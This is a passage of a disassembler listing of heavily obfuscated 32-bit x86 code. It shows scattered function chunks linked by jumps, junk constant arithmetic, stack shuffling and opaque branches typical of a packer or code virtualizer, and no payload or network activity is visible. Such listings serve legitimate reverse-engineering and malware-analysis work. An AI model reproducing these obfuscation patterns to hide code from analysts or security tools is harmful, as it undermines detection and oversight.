; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5AA8EB:				; CODE XREF: sub_5A18F6+ACACj
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	edx
		jmp	loc_5995C2
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599664


loc_5AA8FA:				; CODE XREF: sub_599664+9j
		pop	small [esp+2+var_2]
		not	bx
		xchg	bx, [esp+0]
		mov	bp, [esp+0]
		push	edx
		jmp	loc_59C8BB
; END OF FUNCTION CHUNK	FOR sub_599664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AA90F:				; CODE XREF: sub_59D6B8+10FD4j
		add	esi, 2
		jmp	loc_59D022
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AA917:				; CODE XREF: sub_5A580F-5896j
		pop	eax
		add	[esp+8+var_8], 1CFC059Fh
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	19AA474Dh
		jmp	loc_5AF9D1
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5AA932:				; CODE XREF: sub_5A0AA2-3DF0j
					; sub_5AD6D4-143j
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 215647ABh
		push	edi
		mov	edi, 5BEE0D3Eh
		and	edi, 66486F49h
		jmp	loc_5A2D68
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AA94B:				; CODE XREF: sub_5ADD33-F865j
		mov	eax, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59F800
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------


loc_5AA95E:				; DATA XREF: sdfs____:00598E48o
		push	dword ptr [esp]
		pop	eax
		push	52DDh
		mov	[esp], esi
		jmp	loc_5AB6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA96F:				; CODE XREF: sub_5AA2D1+3DDEj
		mov	[esp+0], ebx
		mov	ebx, 1Ch
		sub	ebx, 3E111662h
		add	ebx, edi
		jmp	sub_5A416F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5AA984:				; CODE XREF: sub_5A72CB-AC20j
					; sub_5AA810+14CCj
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		sub	[esp+0], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA995:				; CODE XREF: sub_5AA2D1-C1B8j
					; sub_5AA2D1:loc_5AB0D5j
		xor	al, 7Bh
		mov	cl, al
		pop	eax
		jmp	loc_5AB2F1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AA99F:				; CODE XREF: sub_59E94B+C073j
					; sub_59C979:loc_5ACAB3j
		push	6E3Eh
		mov	[esp+0], ebp
		jmp	loc_5A9E54
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_5AA9AC:				; CODE XREF: sdfs____:0059D665j
		add	dh, 0F3h
		pop	ebx
		add	dh, 0D9h
		push	730h
		jmp	loc_5A1C01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AA9BD:				; CODE XREF: sub_59E94B+A30Cj
		pop	edi
		jmp	loc_5AA99F
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AA9C3:				; CODE XREF: sub_5992DA+4A12j
		add	dh, 93h
		jl	loc_59C21F
		jmp	loc_5A33A2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		mov	ebp, esp
		mov	cl, bl
		push	edi


loc_5AA9D6:				; CODE XREF: sdfs____:0059D837j
		and	ebp, 14E220C5h
		sub	ebp, 1
		or	ebp, 22312050h
		sub	ebp, 5EB05D8Ch
		add	ebp, 94558D6Bh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A46A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AA9F9:				; CODE XREF: sub_5AA2D1-AADBj
		mov	ah, 0F5h
		push	ecx
		mov	cl, 39h
		sub	cl, 32h
		sub	ah, cl
		pop	ecx
		push	ecx
		mov	ch, 0A3h
		shl	ch, 3
		sub	ch, 0B3h
		sub	ah, 9Dh
		sub	ah, ch
		add	ah, 9Dh
		pop	ecx
		jmp	loc_5A0377
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5AAA1B:				; CODE XREF: sub_5A4CF3+8j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		shl	ecx, 4
		xor	ecx, 61E77E04h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_5A5274
; END OF FUNCTION CHUNK	FOR sub_5A4CF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_5AAA38:				; CODE XREF: sub_59B4A0+8F53j
					; sub_59C979+FC17j
		mov	[esp+10h+var_10], esi
		mov	esi, 0C8F2E8Fh
		jmp	loc_5A3530
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5AAA45:				; CODE XREF: sub_5B0377-40DFj
		push	ecx
		jmp	loc_5A784F
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAA4B:				; CODE XREF: sub_5AA2D1:loc_5AD941j
		add	ah, 6Eh
		jmp	loc_59B391
; ---------------------------------------------------------------------------


loc_5AAA53:				; CODE XREF: sub_5AA2D1+4AABj
		add	ch, 3Eh
		sub	ch, bh
		sub	ch, 3Eh
		jmp	loc_5AD9DD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AAA60:				; CODE XREF: sub_5A0FFF+D779j
		push	dword ptr [esp+0]
		mov	ebx, [esp+2+var_4+2]
		push	ecx
		push	esp
		jmp	loc_5A74F4
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5AAA6D:				; CODE XREF: sub_5AE29C-93A7j
		add	edx, 1887617Eh
		jmp	loc_5A11AE
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAA78:				; CODE XREF: sub_5A9D64-1EB7j
					; sub_5AA2D1+2405j
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		test	ecx, eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AAA86:				; CODE XREF: sub_59C979+DE92j
		add	ecx, eax
		jmp	loc_59DB6A
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_5AAA8D:				; CODE XREF: sub_59F2D1-4CE7j
					; sub_5AA810:loc_5A94A2j
		mov	[esp+8+var_8], edx
		mov	edx, 2
		jmp	loc_59CDB4
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5AAA9A:				; CODE XREF: sub_5A77D5-B738j
		add	ebx, 0D239D3D1h
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 5DC274FFh
		and	eax, 69155538h
		add	eax, 2E47F2E0h
		jmp	loc_5AB99E
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_5AAABA:				; CODE XREF: sub_5ABFD8+29j
		mov	[esp+4+var_4], esi
		jmp	loc_5ABBB0
; END OF FUNCTION CHUNK	FOR sub_5ABFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_5AAAC2:				; CODE XREF: sub_59DE4B+AFBj
		mov	ecx, 437B5442h
		xor	ecx, 3AAB6427h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AC82D
; END OF FUNCTION CHUNK	FOR sub_59DE4B

; =============== S U B	R O U T	I N E =======================================



sub_5AAAD5	proc near		; CODE XREF: sub_5A75B3+615Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059CC97 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A7092 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7A70 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_59CC97
sub_5AAAD5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AAAEC:				; CODE XREF: sub_5B01F7-83F5j
		jmp	loc_59B8BC
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AAAF1:				; CODE XREF: sub_5AFD37-12BDFj
					; sub_59D6B8+8D95j
		jnb	loc_5A8719
		jmp	loc_59E9BB
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAAFC:				; CODE XREF: sub_5AA2D1-29FFj
		jno	loc_5A8453
		sub	esi, 5E7E5D24h
		jbe	loc_59E3FA
		push	ebp


loc_5AAB0F:				; CODE XREF: sub_5A5EFF+93CAj
		mov	edi, 73150788h
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	esi
		mov	esi, 62372690h
		mov	edx, esi
		pop	esi
		jmp	loc_5A2B3B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5AAB28:				; CODE XREF: sub_599CC6+869Dj
		add	esp, 4
		jmp	loc_5A5598
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAB33:				; CODE XREF: sub_5AA2D1-58ECj
		mov	[esp-18h+arg_14], ebx
		push	[esp-18h+arg_14]
		jmp	loc_5AE120
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_5AAB3E:				; CODE XREF: sub_59BAD3+3j
		push	33FCh
		mov	[esp+8+var_8], eax
		mov	eax, 6C652BC9h
		sub	[esp+8+var_4], eax
		mov	eax, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599283
; END OF FUNCTION CHUNK	FOR sub_59BAD3

; =============== S U B	R O U T	I N E =======================================



sub_5AAB66	proc near		; CODE XREF: sub_59D6B8+681Dj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B68E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059C19E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059C4AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1DCA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A275B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3C98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5EF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5FDF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A7901 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AA1F8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE70E SIZE 0000001F BYTES

		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A1DCA
sub_5AAB66	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5AAB6E:				; CODE XREF: sub_5A9EC5-108Cj
		sub	al, dl
		jmp	loc_5A3F4F
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B02C0


loc_5AAB75:				; CODE XREF: sub_5B02C0-83EFj
		sub	dx, ax
		pop	eax
		sub	ax, 792Eh
		sub	ax, dx
		jmp	sub_5A6B87
; END OF FUNCTION CHUNK	FOR sub_5B02C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5AAB85:				; CODE XREF: sub_5A3992+AECCj
		push	edi
		push	ebx
		jmp	loc_5AAC88
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AAB8C:				; CODE XREF: sub_5A79BE+4FBFj
		pop	edi
		pop	[esp-8+arg_4]
		mov	esp, [esp+0]
		push	edx
		jmp	loc_59DD5C
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AAB99:				; CODE XREF: sub_5A0AA2+ABCFj
		shr	edx, 4
		jmp	loc_5A10B1
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AABA1:				; CODE XREF: sub_5AA2D1-D39Fj
		mov	[esp+0], ebx
		jmp	loc_5AE3AE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D20


loc_5AABA9:				; CODE XREF: sub_5A2D20-2C43j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A2D20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AABAE:				; CODE XREF: sub_5AA2D1+3A5Dj
		xor	edx, edi
		pop	edi
		sub	edx, 30924666h
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ecx
		xor	ecx, [esp-8+arg_4]
		jmp	loc_5A83A2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AABCE:				; CODE XREF: sub_59D6B8+3F19j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_59F3F1
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AABE2:				; CODE XREF: sub_5A917C+568Dj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		jmp	loc_5A027E
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC2C0


loc_5AABFC:				; CODE XREF: sub_5AC2C0-AD46j
		pop	edi
		or	ebx, 49576195h
		push	esi
		mov	esi, 4DAD6B6Bh
		and	ebx, esi
		pop	esi
		xor	ebx, 4525538Fh
		jmp	sub_5A477C
; END OF FUNCTION CHUNK	FOR sub_5AC2C0
; ---------------------------------------------------------------------------


loc_5AAC17:				; CODE XREF: sdfs____:005A6135j
		inc	ah
		jle	loc_5ABDFE
		dec	ah
		jz	loc_5AED3B
		not	ah
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AAC2A:				; CODE XREF: sub_59D6B8+9D52j
		push	[esp+4+var_4]
		pop	edi
		push	1AA6h
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		add	ebx, 4
		push	4078h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	loc_5A9F00
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAC57:				; CODE XREF: sub_5AA2D1-E178j
		or	edx, 16AD240Dh
		jo	loc_59F6B5
		dec	edx
		xor	edx, 0A0F276FFh
		sub	ecx, edx
		pop	edx
		add	ecx, 3FA804D2h
		jmp	loc_59A1BF
; ---------------------------------------------------------------------------


loc_5AAC78:				; CODE XREF: sub_5AA2D1+52DDj
		mov	[esp-10h+arg_C], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	sub_5A12F5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5AAC88:				; CODE XREF: sub_5A3992+71F5j
		mov	ebx, 24815F21h
		add	ebx, 750752F4h
		jmp	loc_5A45D5
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6494


loc_5AAC98:				; CODE XREF: sub_5A6494+Ej
		sub	edx, 27BE513Ch
		shl	edx, 6
		add	edx, 0CA3AEFC4h
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		jmp	loc_5AADA4
; END OF FUNCTION CHUNK	FOR sub_5A6494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AACBE:				; CODE XREF: sub_5AA2D1+5FEAj
		xchg	ecx, [esp-14h+arg_10]
		jmp	loc_5AF587
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8B3E


loc_5AACC6:				; CODE XREF: sub_5A8B3E-17j
		push	77E3h
		mov	[esp+8+var_8], eax
		mov	eax, 690F7C6Ah
		dec	eax
		add	eax, 96F0839Bh
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A3A8E
; END OF FUNCTION CHUNK	FOR sub_5A8B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AACEA:				; CODE XREF: sub_59CBE1+D6D4j
		pop	eax
		push	edi
		push	4B62h
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		push	[esp+0Ah+var_C+2]
		jmp	loc_59DF85
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5AAD00:				; CODE XREF: sub_5A35F6-75ECj
					; sub_59C2B8+136D6j
		sub	esi, edx
		pop	edx
		xor	esi, 78060D7Dh
		xor	esi, 8EC1083Ch
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp-8+arg_4]
		jmp	loc_5AE97E
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAD1D:				; CODE XREF: sub_5AA2D1-FF01j
		shr	ebx, 3
		xor	ebx, 4DECA03h
		sub	edi, 679D16B5h
		push	esi
		mov	esi, 56011609h
		or	esi, 388B7C34h
		jmp	loc_5A5D15
; ---------------------------------------------------------------------------


loc_5AAD3D:				; CODE XREF: sub_5AA2D1-D1E2j
		pop	eax
		add	ebp, 6BA5696h
		jmp	loc_5AB84C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5AAD49:				; CODE XREF: sub_5AD795-AC02j
		xor	ecx, 747320B8h
		push	edi
		mov	edi, 1A9D4712h
		sub	ebp, edi
		pop	edi
		sub	ebp, ecx
		add	ebp, 1A9D4712h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		mov	eax, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		jmp	loc_59B830
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAD77:				; CODE XREF: sub_5AA2D1+5CF7j
		add	eax, 0AB9050Dh
		sub	eax, 68D32169h
		push	dword ptr [esp+0]
		mov	ebp, [esp+1Ah+var_1A]
		add	esp, 4
		push	55E8h
		mov	[esp+1Ah+var_1A], ecx
		jmp	loc_59995F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5AAD97	proc near		; CODE XREF: sub_5AA2D1:loc_5A3B7Fj
		push	ebp
		jmp	loc_5A45C5
sub_5AAD97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5AAD9D:				; CODE XREF: sub_5A3B60+FABj
		not	esi
		jmp	loc_59B09E
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6494


loc_5AADA4:				; CODE XREF: sub_5A6494+4825j
		push	eax
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		jmp	loc_5A181A
; END OF FUNCTION CHUNK	FOR sub_5A6494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5AADB5:				; CODE XREF: sub_5ABE0D-10A01j
					; sub_5AA5F6-75EFj ...
		mov	cl, 0F1h
		xor	cl, 75h
		add	al, cl
		pop	ecx
		push	ebx
		mov	bl, 64h
		push	ebx
		jmp	loc_5A029B
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5AADC6:				; CODE XREF: sub_5AF294-5EBBj
		sub	esi, 6337341h
		pop	eax
		push	ebx
		push	edi
		push	ecx
		mov	ecx, 68EB619Ch
		not	ecx
		xor	ecx, 7C2568D2h
		jmp	loc_5A9147
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------


loc_5AADE2:				; CODE XREF: sdfs____:005ACE73j
		sub	esi, ecx
		jmp	loc_59CB78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AADE9:				; CODE XREF: sub_5A63DC-C1Dj
		pop	esp
		mov	[esp+0Ch+var_C], edx
		mov	edx, 6806B041h
		xor	eax, edx
		pop	edx
		sub	ecx, 39DA0680h
		sub	ecx, 93F2EE7h
		add	ecx, eax
		push	ebx
		jmp	loc_5AD3DE
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5AAE09:				; CODE XREF: sub_5A3992-47F7j
					; sub_5A9EBF+5DEBj
		not	edi
		sub	edi, 0F5C8A90Ah
		add	ebx, edi
		pop	edi
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5A58E3
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AAE1F:				; CODE XREF: sub_5992DA+ABE7j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_599E8C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AAE30:				; CODE XREF: sub_5B01F7-40CCj
		add	ecx, 1
		not	ecx
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5AFCFA
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AAE43:				; CODE XREF: sub_59EE3E+16C3j
		and	ebp, 766D309Ch
		jnb	loc_5A7701
		xor	ebp, 70EF0FB3h
		jmp	loc_5A4BBF
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5AAE5E	proc near		; CODE XREF: sub_59D5EA+FEB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BFFB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059CDCD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059DAD3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A501B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A6B17 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB83F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ACD01 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AD746 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD934 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005B0447 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AB83F
sub_5AAE5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5AAE6C:				; CODE XREF: sub_59F1F3+84A9j
		jmp	loc_5A336B
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5AAE71:				; CODE XREF: sub_5AE29C-EABj
		push	54A6h
		mov	[esp+4+var_4], esi
		jmp	loc_5A936F
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5AC107
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A68A5


loc_5AAE87:				; CODE XREF: sub_5A68A5-3078j
		mov	[esp+0], ebp
		jmp	loc_5AEBC4
; END OF FUNCTION CHUNK	FOR sub_5A68A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AAE8F:				; CODE XREF: sub_5A63DC+62F4j
		mov	edx, ebx
		pop	ebx
		jmp	loc_5AB2D1
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AAE97:				; CODE XREF: sub_59EE3E+5E4Aj
		jo	loc_599672
		dec	esi
		sub	esi, 11EF3B85h
		shl	esi, 4
		jmp	loc_5A29C5
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AAEAC:				; CODE XREF: sub_5992DA+509Dj
		jp	loc_5AF273
		shl	ebp, 6
		jp	loc_5A81DF
		shl	ebp, 5
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5992DA
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAEBF:				; CODE XREF: sub_5AA2D1-C81Dj
		mov	eax, esp
		push	ecx
		mov	ecx, 42437BE4h
		shr	ecx, 8
		not	ecx
		add	ecx, offset byte_424380
		jmp	loc_5A9CE2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5AAED7:				; CODE XREF: sdfs____:0059E153j
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599509


loc_5AAEDC:				; CODE XREF: sub_599509+11B0Aj
					; sub_5AC803+3575j
		mov	esp, [esp+0]
		rol	[esp-4+arg_0], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5AAEE8:				; CODE XREF: sub_5A35F6-52j
		mov	eax, 66F24A5Eh
		add	ecx, eax
		jmp	loc_5AC497
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AFE7


loc_5AAEF4:				; CODE XREF: sub_59AFE7+1j
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		not	[esp+4+var_4]
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A1EBD
; END OF FUNCTION CHUNK	FOR sub_59AFE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AAF22:				; CODE XREF: sub_5A0FFF+80ACj
		xchg	eax, [esp+22h+var_22]
		pop	esp
		sub	eax, 4
		xor	eax, [esp+1Eh+var_1E]
